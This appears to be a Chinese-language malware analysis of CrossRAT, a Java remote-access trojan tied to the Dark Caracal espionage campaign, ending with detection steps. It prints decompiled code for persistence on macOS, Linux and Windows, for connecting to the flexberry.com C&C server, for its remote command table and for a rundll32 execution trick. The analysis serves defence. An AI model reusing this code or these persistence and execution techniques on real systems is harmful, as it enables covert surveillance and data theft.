导语:在参加Shmoocon时候认识了很多新朋友,我们在一起探讨了一篇关于全球范围内Caracal网络间黑暗间谍活动的报告。

在参加Shmoocon时候认识了很多新朋友,我们在一起探讨了一篇关于全球范围内Caracal网络间黑暗间谍活动的报告
报告中大致介绍了以下方面:

1. Dark Caracal一直在针对全球个人和机构进行多平台APT监视活动。
2. 我们已经识别出了来自数千名受害者的千兆数据,遍布北美,欧洲,中东以及亚洲的21个国家
3. 我们发现了第一款用于全球规模间谍活动的移动组件
4. Dark Caracal的目标包括政府,军队,公共事业,金融机构,制造公司和国防承包商。
5. 已经攻击获得到的内容包括文档,通话记录,录音,联系人信息,短信,照片和账户数据。
6. Dark Caracal符合典型的网络间谍特征, 他们主要依靠社交媒体,网络钓鱼以及某些情况下采用物理手段破话目标设备,系统和账户。
7. Dark Caracal制作了名为Bandbook的远程控制软件,Dark Caracal还使用了以前从未被发现的多平台远控CrossRat,这一软件可以在windows,OSX,Linux多平台使用。

该报告介绍的非常彻底,不过我最感兴趣的还是CrossRat,在报告中只有一小段篇幅介绍这一部分,所以我在这里将CrossRat详细分析一遍。

在这篇文章中,我们将这个威胁进行全面的技术概述,包括其持久性机制和能力。非常感谢Cooper(@cooperq)提供的CrossRat样本,并且还分享了他的分析笔记,特别是关于C&C协议相关的内容。

CrossRat

在分析报告指出,CrossRat为新发现的能够针对windows,OSX,LINUX的桌面监控工具。不过OSX这一部分相对来说比较吸引我,所以这篇文章可能会更偏向于MAC。
报告中对CrossRat有一个很好的概述:

它是用java语言进行编写,能够以windows,osx,linux为目标,CrossRat能够对文件系统进行操纵,截取屏幕,运行任意DLL以便于对windows二次感染持久对受害主机控制

‘hmar6.jar’是我作为一个样本提交到VirusTotal的,检测报告为:https://www.virustotal.com/#/file/15af5bbf3c8d5e5db41fd7c3d722e8b247b40f2da747d5c334f7fd80b715a649/detection
不出所料,即使现在检测,基本上所有软件都不会爆毒。

detection@2x.png

虽然我不是很喜欢java这门语言,但是它是可以反编译的。这就意味着用这种语言编写的恶意软件是很容易进行分析的。比如使用jad,JD-GUI之类的工具可以将jar软件进行反编译, 得到java代码。从2018年起,你甚至可以在云中反编译java……

通过JD-GUI打开恶意软件’hmar6.jar’,会输出如下内容:

package@2x.png

你也可以直接对jar进行解压,然后手动浏览文件。当然这些文件是由java子节码组成的,你需要使用上述工具对java子节码进行反编译。
我们这篇博文的目标是识别和理解恶意软件的几个内容:

1. 持久性机制
2. C&C通信
3. 攻击特征/能力

我们将最终分析包含在crossrat包中的client.class文件,因为它包含了恶意软件的入口,以及主逻辑。我们先看看在这个jar中的其他包:’a’,’b’,’org’。
第一个包名在JD-GUI中简单的命名为了a。它的任务大致是确定当前运行的操作系统版本。由于java可以运行在windows,macos,linux多个平台上。而且多个平台上实现一些功能逻辑是不同的,所以确定当前操作系统的类型至关重要。
在a/c.class中可以发现CroassRAT支持的平台类型:

$ strings - CrossRAT/a/c.class
    LINUX
    MACOS
    SOLARIS
    WINDOWS

java中提供了很多当操作系统不可知时,确定操作系统类型的方法,举个例子,在CrossRAT中就调用了以下内容:

System.getProperty("os.name")

这个方法会返回像”windows”,”linux”,”mac os”这样的变量。更有趣的是,植入的代码还包含了各种操作系统的特定代码,有助于更精确的控制。例如在a/c/a.class中执行/usr/bin/sw_vers:

Object localObject = new File("/usr/bin/sw_vers");
...

Iterator localIterator = (localObject = e.a((File)localObject)).iterator();
while (localIterator.hasNext()) {
  if ((localObject = (String)localIterator.next()).contains(c.b.a())) {
      return true;
  }
}

if (paramBoolean) {
  return ((localObject = System.getProperty("os.name").toLowerCase()).contains("mac os x")) 
          || (((String)localObject).contains("macos"));
}
...

sw_vers这一执行文件是苹果特有的,并且返回当前macos的版本,在我的机器上返回:

$ /usr/bin/sw_vers
    ProductName:  Mac OS X
    ProductVersion: 10.13.2
    BuildVersion: 17C88

CrossRAT还包含了其他命令去收集操作系统的信息。举个例子,在crossrat/e.class文件中,我们发现这里调用了uname -a 这个命令:

public static String c()
{
      String s = null;
      Object obj = Runtime.getRuntime().exec(new String[] {"uname", "-a"});
      s = ((BufferedReader) (obj = new BufferedReader(new InputStreamReader(((Process)
            (obj)).getInputStream())))).readLine();
      ((BufferedReader) (obj)).close();

      return s;
}

当uname这一命令使用-a选项不仅会输出操作系统的版本而且还会输出当前内核构建以及体系结构的信息,比如操作系统是32位或者64位等。

$ uname -a
  Darwin Patricks-MacBook-Pro.local 17.3.0 Darwin Kernel Version 17.3.0: 
  root:xnu-4570.31.3~1/RELEASE_X86_64 x86_64

最后,它甚至试图查询当前linux特定版本信息的系统文件:

try
{
  obj1 = a(new File("/etc/os-release"), "=");
}
catch(Exception _ex)
{
  System.out.println("Failed to load /etc/os-release");
}
try
{
  map = a(new File("/etc/lsb-release"), "=");
}
catch(Exception _ex)
{
  System.out.println("Failed to load /etc/lsb-release");
}

最后,发现反汇编之后缺少了一些能够控制的操作系统的版本,strings之后发现CrossRAT能控制的系统版本很多:

$ strings - a/b/c.class 

Alpine Linux Antergos Arch Linux Blag Centos Chakra Chapeau Crunchbang Crux Centos Chakra Chapeau Crunchbang Crux Debian Deepin Dragora Debian Debian Kali Linux Deepin Dragora Elementary_os Evolve_os Evolve Os Evolveos Fedora Frugalware Funtoo Fedora Frugalware Funtoo Gentoo Gnewsense Gentoo Jiyuu Jiyuu Kali Kaos Kde Neon Kde_neon Korora Kaos Kali Kali Linux Korora Lmde Lunar La/b/c; Linux Mint Linuxdeepin Linuxmint Lunar Lunar Linux Mageia Mandrake Mandriva Manjaro Mint Mageia Mandrake Mandriva Mandriva Linux Manjaro Manjaro Linux Nixos Nixos Opensuse Oracle_linux Oracle Linux Parabola Peppermint Parabola Parabola Gnu/linux-libre Peppermint Qubes Qubes Raspbian Redhat_enterprise Raspbian Red Hat Redhatenterprise Redhat Enterprise Sabayon Scientificlinux Slackware Solusos Steamos Suse Linux Sabayon Scientific Linux Slackware Solusos Stackmaptable Steamos Tinycore Trisquel Ubuntu Unknown Ubuntu Unknown Unknown Linux Viperr

‘a’这一部分已经分析完了,我们继续分析在JD-GUI中命名为’b’的包:

packageB@2x.png

猜猜’b’这个软件包是要干嘛?如果你猜负责持久控制,那么你就对了 🙂
在受感染的机器上,为了确保当操作系统重新启动时恶意软件会自动运行,那么CrossRAT就必须进行一定的转换。通常针对不同的操作系统,就会有不同的利用代码。针对windows,linux,mac os都有不同的方法。

在b/c.class中,通过Lauch Agent实现对MACos控制的持久化,首先’a’方法调用’b’方法:

public final void a()
{
  if(!b().exists())
    b().mkdirs(); 

    ...

在’b’方法中,它返回launch agent的目录。如果当前用户是root,他会返回系统当中的launch agents(/Library/LaunchAgents/),如果不是root,就会返回当前用户特定的LaunchAgents(/Users/patrick/Library/LaunchAgents/)。

private static File b()
{
  String s = System.getProperty("user.home");
  if(a.c.b().a() != a.c.a && (new BufferedReader(new InputStreamReader(
  Runtime.getRuntime().exec("whoami").getInputStream()))).readLine().equals("root"))
  {
      s = "";
  }
  return new File((new StringBuilder(String.valueOf(s))).append("/Library/LaunchAgents/").toString());
}

这一串代码会生成launch agent属性列表(plist):

((PrintWriter) (obj = new PrintWriter(new FileWriter(((File) (obj)))))).println("<plist version="1.0">");
((PrintWriter) (obj)).println("<dict>");
((PrintWriter) (obj)).println("t<key>Label</key>");
((PrintWriter) (obj)).println((new StringBuilder("t<string>"))
                .append(super.b).append("</string>").toString());
((PrintWriter) (obj)).println("t<key>ProgramArguments</key>");
((PrintWriter) (obj)).println("t<array>");
if(a)
{
    ((PrintWriter) (obj)).println("tt<string>java</string>");
    ((PrintWriter) (obj)).println("tt<string>-jar</string>");
}
((PrintWriter) (obj)).println((new StringBuilder("tt<string>"))
                .append(super.c).append("</string>").toString());
((PrintWriter) (obj)).println("t</array>");
((PrintWriter) (obj)).println("t<key>RunAtLoad</key>");
((PrintWriter) (obj)).println("t<true/>");
((PrintWriter) (obj)).println("</dict>");
((PrintWriter) (obj)).println("</plist>");
((PrintWriter) (obj)).close();

只要’AutoLoad’的值为真,无论恶意软件中是否有特定的程序参数,CrossRat都会自动执行。在代码中我们可以看到:”java -jar [surper.c]“。为了确定jar文件是感染哪个文件进行持久化的,我们需要进行反编译,或者运行恶意程序,然后查看plist文件。于是我们在虚拟机中运行了恶意软件:

$ java -jar hmar6.jar &

$ cat ~/Library/LaunchAgents/mediamgrs.plist 
  <plist version="1.0">
  <dict>
    <key>Label</key>
    <string>mediamgrs</string>
    <key>ProgramArguments</key>
    <array>
      <string>java</string>
      <string>-jar</string>
      <string>/Users/user/Library/mediamgrs.jar</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
  </dict>
  </plist>

发现~/Llibrary/mediamgrs.jar被创建了,我对这个文件进行hash,得到的序列和’hmar6.jar’生成的序列进行比较,发现完全匹配。换句话说,恶意软件直接把自己复制了进去:

$ md5 ~/Library/mediamgrs.jar
  MD5 (/Users/user/Library/mediamgrs.jar) = 85b794e080d83a91e904b97769e1e770

$ md5 hmar6.jar 
  MD5 (/Users/user/Desktop/hmar6.jar) = 85b794e080d83a91e904b97769e1e770

继续,我们目前可以了解到它是如何在macos下如何进行持久化攻击的。关于linux的部分是在b/d.class中:

linuxPersist@2x.png

在上方屏幕截图中可以发现,CrossRAT通过在~/.config/autostart/目录下生成自动启动文件进行持久化控制的。与macos类似,在他的代码当中也存在 java -jar [this.c],我们在代码中可以看到,运行过程中this.c会被设置为/usr/var/mediamgrs.jar:

else
{
    k.K = "/usr/var/";
}

paramArrayOfString = new File(k.K + "mediamgrs.jar");

如果你想了解更多的关于linux自动启动方面的内容,可以看一下这篇文章:https://neverbenever.wordpress.com/2015/02/11/how-to-autostart-a-program-in-raspberry-pi-or-linux/
当然,CrossRAT在windows下也存在持久控制的功能。可以在b/e.class代码中找到这一功能:

public final void a()
{
    String s;
    if(a)
    {
        s = (new StringBuilder(String.valueOf(System.getProperty("java.home"))))
        .append("binjavaw.exe").toString();

        s = (new StringBuilder(String.valueOf(s))).append(" -jar "")
        .append(c).append(""").toString();
    } else
    {
        s = super.c;
    }
    Runtime.getRuntime().exec(new String[] {
        "reg", "add", "HKCUSoftwareMicrosoftWindowsCurrentVersionRun", 
                      "/v", super.b, "/t", "REG_SZ", "/d", s, "/f"
    });
}

它使用了修改CurrentVersionRun注册表的方法,好古老的一种方法。不过恶意软件还会被植入到自动启动当中。
对”a”包和”b”包的解释已经完毕了,现在我们来探讨一下”org”包,然后探索到恶意软件的主要代码逻辑当中。

packageOrg@2x.png

org包中有”a.a.a”和”jnativehook”两个包。
查看a.a.a包中的各个类,我们可以看到这个软件包中包含了I/O操作这方面的代码。举个例子,在a.a.a/b.class中,可以看到一些字符串:

$ strings - strings - src/org/a/a/a/b.class
  does not exist
  is not a directory
  to a subdirectory of itself  
  already exists
  cannot be written to
  directory cannot be created
  does not exist
  exists but is a directory
  exists but is read-only
  Cannot move directory: 
  Destination must not be null
  Failed to copy full contents from
  Failed to delete original directory
  Failed to list contents of 
  File does not exist: 
  Unable to delete file:

很明显,这一串代码允许远程攻击者在受感染的机器上交互和修改文件系统。
为了在代码中确认这一点,我们进一步观察’a.a.a/b.class’中的’a’方法。这一方法中会复制一个文件。

private static void a(File paramFile1, File paramFile2, boolean paramBoolean)
{
    if ((paramFile2.exists()) && (paramFile2.isDirectory())) {
        throw new IOException("Destination '" + paramFile2 + "' exists but is a directory");
    }
    ....
    try
    {
        localFileInputStream = new FileInputStream(paramFile1);
        localFileOutputStream = new FileOutputStream(paramFile2);
        localFileChannel1 = localFileInputStream.getChannel();
        localFileChannel2 = localFileOutputStream.getChannel();
        l1 = localFileChannel1.size();
        long l5;
        for (l2 = 0L; l2 < l1; l2 += l5)
        {
        long l4;
        long l3 = (l4 = l1 - l2) > 31457280L ? 31457280L : l4;
        if ((l5 = localFileChannel2.transferFrom(localFileChannel1, l2, l3)) == 0L) {
            break;
        }
        }
        ...
    }

    ....

    long l1 = paramFile1.length();
    long l2 = paramFile2.length();
    if (l1 != l2) {
        throw new IOException("Failed to copy full contents from '" + paramFile1 + "' to '" + 
                                paramFile2 + "' Expected length: " + l1 + " Actual: " + l2);
    }
    if(paramBoolean) {
        paramFile2.setLastModified(paramFile1.lastModified());
    }
}

在’org’中的另外一个包’jnativehook’是一个开源的java库,github地址为:https://github.com/kwhat/jnativehook

和jnativehook作者描述一样,这一部分是恶意软件用于对受害机器进行鼠标和键盘进行全局控制的代码。因为单纯的用应用层的java代码实现是几乎不可能的,因此CrossRAT利用这一个库实现创建底层系统级别的钩子,并且将这些事件传递给应用程序。

网络间的间谍行动中,捕捉键盘记录是非常重要的一部分。但是我在代码中没有看到对”jnativehook”包调用,所以在这一部分看,这一功能似乎并没有实现。正如报告中指出,恶意软件的版本号码是0.1,这就意味着它还在继续进行和更新。因此没有完整的功能。

好的,是时候分析CrossRAT的主要代码逻辑了!
正如开始所说,主要代码逻辑存在位置为:’crossrat/client.class’文件中。事实上,这一文件中还包含了整个程序的入口(public static void main(String args[])):

$ grep -R main hmar6.jar/*

crossrat/client.jad:    public static void main(String args[])

当main函数被调用时,会进行如下步骤:

1. 如果必要的话,针对操作系统类型进行持久化控制
2. 检查是否可以连接到命令和控制(C&C)服务器
3. 执行C&C服务器指定的命令

让我们进一步分析一下。
恶意软件首先在本地自主进行持久化控制,就想之前介绍的那样,这一步骤是根据系统类型选择特有的方式进行的。并且在修改注册表或者启动代理plist之前,恶意软件会将自身复制到指定位置。我已经在下方代码中进行了一些注释,下方代码就是用来确定安装路径的:

public static void main(String args[])
{
    Object obj;
    supportedSystems = c.b();

    String tempDirectory;

    //get temp directory
    s = System.getProperty(s = "java.io.tmpdir");

    installDir = "";

    //Windows?
    // build path to Windows install directory (temp directory)
    if(supportedSystems.a() == c.a)
    {
        installDir = (new StringBuilder(String.valueOf(s)))
                      .append("").toString();
    }

    //Mac?
    // build path to Mac install directory (~/Library)
    else if(supportedSystems.a() == c.b)
    {
        userHome = System.getProperty("user.home");
        installDir = (new StringBuilder(String.valueOf(userHome)))
                      .append("/Library/").toString();
    } 

    //Linux, etc?
    // build path to Linux, etc install directory (/usr/var/)
    else
    {
        installDir = "/usr/var/";
    }

    ...

一旦安装路径确定之后,恶意软件会将自身复制到这一路径当中:

public static void main(String args[])
{
  ...

  //build full path and instantiate file obj
  installFileObj = new File(installDir + "mediamgrs.jar");

  //copy self to persistent location
  org.a.a.a.b.a(((File) (selfAsFile)), installFileObj);

  ...

通过fs_usage命令,我们可以观察到文件的复制过程,并更新文件的时间与源文件进行匹配:

# fs_usage -w -f filesystem
  open       F=7    (R_____)  /Users/user/Desktop/hmar6.jar  java.125131
  lseek      F=7    O=0x00000000  java.125131

  open       F=8    (_WC_T_)  /Users/user/Library/mediamgrs.jar java.125131
  pwrite     F=8    B=0x3654f   O=0x00000000  java.125131
  close      F=8    0.000138  java.125131
  utimes     /Users/user/Library/mediamgrs.jar java.125131

# ls -lart /Users/user/Library/mediamgrs.jar
  -rw-r--r--  1 user  staff  222543 Jan 22 18:54 /Users/user/Library/mediamgrs.jar
# ls -lart ~/Desktop/hmar6.jar 
  -rw-r--r--  1 user  wheel  222543 Jan 22 18:54 /Users/user/Desktop/hmar6.jar

恶意软件复制自己之后,执行特定系统的持久控制命令。就像我们在mac虚拟系统上一样,恶意软件会生成一个 launch agent:

public static void main(String args[])
{
  ...
  //persist: Windows
  if ((localObject5 = a.c.b()).a() == a.c.a) {
    paramArrayOfString = new b.e(paramArrayOfString, (String)localObject4, true);
  } 

  //persist: Mac
  else if (((a.a)localObject5).a() == a.c.b) {
    paramArrayOfString = new b.c(paramArrayOfString, (String)localObject4, true);
  } 

  //persist: Linux
  else if ((((a.a)localObject5).d()) && 
          (!GraphicsEnvironment.getLocalGraphicsEnvironment().isHeadlessInstance())) {
    paramArrayOfString = new b.d(paramArrayOfString, (String)localObject4, true);
  } 
  ...

  //error: unknown OS
  else {
    throw new RuntimeException("Unknown operating system " + ((a.a)localObject5).c());
  }
  ...

我们发现监视文件系统或者BlockBlock会阻止这一动作:

blockblock@2x.png

现在恶意软件已经将自己持久性的种植到了受控机器上。然后它会继续检查C&C服务器是否在线,在本文开始的报告中,恶意软件会连接flexberry.com的2223端口。
C&C服务器的信息在crossrat/k.class文件中:

server@2x.png

public static void main(String args[])
{
    ...

    //connect to C&C server
    Socket socket;
    (socket = new Socket(crossrat.k.b, crossrat.k.c)).setSoTimeout(0x1d4c0);

    ...

当恶意软件监测到C&C服务器给他分发命令时,会传输受感染主机的各种信息,如操作系统的版本和名称,主机名和用户名。下面代码显示了这些信息的生成:

public static void main(String args[])
{
  ...
  if((k.g = (k.h = Preferences.userRoot()).get("UID", null)) == null)
  {
      k.g = (k.f = UUID.randomUUID()).toString();
      k.h.put("UID", k.g);
  }
  String s1 = System.getProperty("os.name");
  String s2 = System.getProperty("os.version");
  args = System.getProperty("user.name");
  Object obj1;
  obj1 = ((InetAddress) (obj1 = InetAddress.getLocalHost())).getHostName();
  obj1 = (new StringBuilder(String.valueOf(args))).append("^")
          .append(((String) (obj1))).toString();
  ...

然后恶意软件解析C&C服务器的响应,如果发现还存在任务,那就会继续执行.
你是不是还在困惑恶意软件实际是怎么做到的?它的功能是什么?幸运的是,在之前的报告中提供了一些细节,以下是CrossRat/k.class报告中的注释,其中包含CrossRat的任务变量:

// Server command prefixes
  public static String m = "@0000"; // Enumerate root directories on the system. 0 args
  public static String n = "@0001"; // Enumerate files on the system. 1 arg
  public static String o = "@0002"; // Create blank file on system. 1 arg
  public static String p = "@0003"; // Copy File. 2 args
  public static String q = "@0004"; // Move file. 2 args
  public static String r = "@0005"; // Write file contents. 4 args
  public static String s = "@0006"; // Read file contents. 4 args
  public static String t = "@0007"; // Heartbeat request. 0 args
  public static String u = "@0008"; // Get screenshot. 0 args
  public static String v = "@0009"; // Run a DLL 1 arg

在crossrat/client.class文件中可以发现以上代码的调用。这样恶意软件就会解析C&C服务器的命令。

public static void main(String args[])
{
  ...

  //enum root directories
  if((args1 = args.split((new StringBuilder(""))
      .append(crossrat.k.d).toString()))[0].equals(k.m))
  {
      new crossrat.e();
      crossrat.e.a();
      f f1;
      (f1 = new f()).start();
  } 

  //enum files
  else if(args1[0].equals(k.n))
      (args = new crossrat.c(args1[1])).start();

  //create blank file
  else if(args1[0].equals(k.o))
      (args = new crossrat.a(args1[1])).start();

  //copy file
  else if(args1[0].equals(k.p))
      (args = new crossrat.b(args1[1], args1[2])).start();

    ...

让我们看一下比较有趣的命令,比如屏幕获取以及加载dll。

当恶意软件从C&C服务器中收到‘0008’字符串时,会执行j对象,传入k.c,k.b作为参数:

public static void main(String args[])
{
  ...

  //C&C server addr
  public static String b = "flexberry.com";

  //C&C server port
  public static int c = 2223;

  //handle cmd: 0008
  // pass in C&C addr/port
  else if(args1[0].equals(k.u))
    (args = new j(crossrat.k.b, crossrat.k.c)).start();

  ...

j对象是在crossrat/j.class中创建:

screenCapt@2x.png

通过java.awt.Robot().createScreenCapture函数,恶意软件进行屏幕捕捉,然后将文件存储到本地,进而上传到C&C服务器中。

另外一个有趣的命令是”0009”,当恶意软件收到这一命令之后会执行i对象,这一对象在crossrat/i.class创建:

rundll@2x.png

当恶意软件在windows平台执行时,会调用rundll32函数去加载url.dll,然后调用它的FileProtocolHandler方法:

//load a dll
  Runtime.getRuntime().exec(new String[] {
          "rundll32", "url.dll,FileProtocolHandler", file.getAbsolutePath()
  });

url.dll是一个合法的Microsoft库,它可以被用来在受感染的系统上启动可执行文件。例如,以下代码在Windows上,将启动计算器:

//execute a binary
  Runtime.getRuntime().exec(new String[] {
          "rundll32", "url.dll,FileProtocolHandler", "calc.exe"
  });

在windows以外的系统上,看起来”0009”命令将通过Desktop.getDesktop().open()方法执行特定的文件:

 else if ((locala.a() == c.b) || (locala.a() == c.c)) {
  try
  {
    Desktop.getDesktop().open(localFile);
  }

结论

在这篇博文中,我们对新发现的跨平台网络间谍软件CrossRAT进行了深入的技术分析。认为这个恶意软件不是特别复杂的0.1版本仍然功能齐全,能够在大量的平台上运行。此外,正如报告中所指出的那样,利用CrossRAT的攻击者似乎已经取得了一定成绩。

让我们结束几个常见问题!

问:如何感染CrossRAT?

答:在他们的报告中指出:“攻击者主要依靠社交媒体,网络钓鱼以及某些情况下的实际访问来破坏目标系统,设备和帐户。

问:如何保护自己免受感染?

答:由于CrossRAT是用Java编写的,所以需要安装Java。幸运的是最近的版本的macOS不附带Java。因此,大多数macOS用户应该是安全的!当然,如果一个Mac用户已经安装了Java,或者攻击者能够强迫一个天真的用户先安装Java,那么即使在最新版本的MacOS(High Sierra)上,CrossRAT也能运行。

还值得注意的是,目前的杀毒软件是无法检测到的。因此,安装防病毒软件可能不会阻止或检测到CrossRAT感染。但是,安装杀毒软件是非常必要的。

例如,BlockBlock在尝试持久性控制时很容易检测到CrossRAT:

blockblock@2x.png

问:如何检测我是否被感染了?
答:检测是否运行一个java实例,在macos或者linux上使用’ps’命令:

$ ps aux | grep mediamgrs.jar
  user  01:51AM  /usr/bin/java -jar /Users/user/Library/mediamgrs.jar

大家也可以查找恶意软件的持久控制文件。这就取决于你当前使用的是什么系统,根据您的系统进而确定你是否被感染。

windows:
检查:HKCUSoftwareMicrosoftWindowsCurrentVersionRun 注册表。
如果被感染,在注册表中会包含java -jar mediamgrs.jar这样的命令。

MAC:
在~/Library中检查是否有mediamgrs.jar文件。
并且检查/Library/LaunchAgents或者在~/Library/LaunchAgents目录中是否有mediamgrs.plist文件。

Linux:
在/usr/var/中检查是否有mediamgrs.jar文件。
并且查看在~/.config/autostart中是否有类似mediamgrs.desktop的文件。

问:在受感染的系统中,CrossRat能做什么?

答:CrossRAT允许远程攻击者完全控制受感染的系统。其中功能包括:

文件上传/下载/创建/删除
屏幕截图
运行任意可执行文件
源链接

Hacking more

...